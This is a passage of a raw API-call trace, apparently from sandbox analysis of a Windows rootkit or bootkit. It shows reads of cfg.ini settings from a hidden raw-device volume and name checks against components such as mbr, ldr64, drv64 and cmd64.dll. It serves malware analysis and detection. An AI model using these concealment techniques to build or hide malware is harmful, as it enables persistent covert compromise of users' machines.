[0129.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.819] KeLeaveCriticalRegion () [0129.819] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.819] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.819] KeEnterCriticalRegion () [0129.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.819] ExFreePoolWithTag (P=0xfffffa8003c043e0, Tag=0x0) [0129.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.819] KeLeaveCriticalRegion () [0129.819] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.819] ReleaseMutex (hMutex=0xf0) returned 1 [0129.819] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.819] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.819] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.819] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.819] KeEnterCriticalRegion () [0129.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.819] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.819] IdePortDispatch () returned 0x103 [0129.820] KeWaitForMutexObject () returned 0x0 [0129.820] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.820] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.820] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.820] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.820] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.820] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.820] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.820] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.820] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.820] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.820] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.820] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.820] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.820] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.820] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.820] KeLeaveCriticalRegion () [0129.820] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.820] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.820] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.820] KeEnterCriticalRegion () [0129.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.820] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.820] IdePortDispatch () returned 0x103 [0129.820] KeWaitForMutexObject () returned 0x0 [0129.820] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.821] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.821] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.821] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.821] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.821] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.821] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.821] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.821] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.821] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.821] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.821] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.821] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.821] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.821] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.821] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.821] KeLeaveCriticalRegion () [0129.821] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.821] ReleaseMutex (hMutex=0x100) returned 1 [0129.821] Sleep (dwMilliseconds=0x2bf20) [0129.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70938a90, dwHighDateTime=0x1d24fa4)) [0129.827] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.827] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.827] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.827] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.827] KeEnterCriticalRegion () [0129.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.827] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.827] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.827] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.827] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.827] IdePortDispatch () returned 0x103 [0129.828] KeWaitForMutexObject () returned 0x0 [0129.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.828] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.828] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.828] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.828] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.828] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07dc0 [0129.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.828] KeLeaveCriticalRegion () [0129.828] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.828] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.828] KeEnterCriticalRegion () [0129.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.828] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.828] KeLeaveCriticalRegion () [0129.828] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.828] KeEnterCriticalRegion () [0129.828] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.828] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.828] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.828] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.828] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.828] IdePortDispatch () returned 0x103 [0129.828] KeWaitForMutexObject () returned 0x0 [0129.828] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.828] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.828] KeLeaveCriticalRegion () [0129.828] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.829] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.829] KeEnterCriticalRegion () [0129.829] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb8000 [0129.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.829] IdePortDispatch () returned 0x103 [0129.829] KeWaitForMutexObject () returned 0x0 [0129.829] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.829] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.829] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.829] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.829] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.829] IdePortDispatch () returned 0x103 [0129.829] KeWaitForMutexObject () returned 0x0 [0129.829] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.829] KeLeaveCriticalRegion () [0129.829] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.830] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.830] KeEnterCriticalRegion () [0129.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.830] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.830] KeLeaveCriticalRegion () [0129.830] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.830] KeEnterCriticalRegion () [0129.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.830] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.830] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.830] KeLeaveCriticalRegion () [0129.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.830] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.830] KeEnterCriticalRegion () [0129.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.830] ExFreePoolWithTag (P=0xfffffa8003c07dc0, Tag=0x0) [0129.830] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.830] KeLeaveCriticalRegion () [0129.830] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.830] ReleaseMutex (hMutex=0xf0) returned 1 [0129.830] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.830] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.830] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.830] KeEnterCriticalRegion () [0129.830] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.830] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.830] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.830] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.830] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.830] IdePortDispatch () returned 0x103 [0129.831] KeWaitForMutexObject () returned 0x0 [0129.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.831] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.831] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.831] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.831] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.831] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06590 [0129.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.831] KeLeaveCriticalRegion () [0129.831] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.831] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.831] KeEnterCriticalRegion () [0129.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.831] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.831] KeLeaveCriticalRegion () [0129.831] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.831] KeEnterCriticalRegion () [0129.831] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.831] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.831] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.831] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.831] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.831] IdePortDispatch () returned 0x103 [0129.831] KeWaitForMutexObject () returned 0x0 [0129.831] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.831] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.831] KeLeaveCriticalRegion () [0129.831] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.831] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.832] KeEnterCriticalRegion () [0129.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb9000 [0129.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.832] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.832] IdePortDispatch () returned 0x103 [0129.832] KeWaitForMutexObject () returned 0x0 [0129.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.832] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.832] IdePortDispatch () returned 0x103 [0129.832] KeWaitForMutexObject () returned 0x0 [0129.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.832] KeLeaveCriticalRegion () [0129.832] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.833] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.833] KeEnterCriticalRegion () [0129.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.833] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.833] KeLeaveCriticalRegion () [0129.833] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.833] KeEnterCriticalRegion () [0129.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.833] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.833] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c066f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.833] KeLeaveCriticalRegion () [0129.833] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.833] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.833] KeEnterCriticalRegion () [0129.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.833] ExFreePoolWithTag (P=0xfffffa8003c06590, Tag=0x0) [0129.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.833] KeLeaveCriticalRegion () [0129.833] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.833] ReleaseMutex (hMutex=0xf0) returned 1 [0129.833] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.833] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.833] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.833] KeEnterCriticalRegion () [0129.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.833] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.833] IdePortDispatch () returned 0x103 [0129.833] KeWaitForMutexObject () returned 0x0 [0129.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.834] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.834] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.834] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.834] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.834] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05f60 [0129.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.834] KeLeaveCriticalRegion () [0129.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.834] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.834] KeEnterCriticalRegion () [0129.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.834] KeLeaveCriticalRegion () [0129.834] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.834] KeEnterCriticalRegion () [0129.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.834] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.834] IdePortDispatch () returned 0x103 [0129.834] KeWaitForMutexObject () returned 0x0 [0129.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.834] KeLeaveCriticalRegion () [0129.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.834] _snprintf (in: _Dest=0xfffff880028b2770, 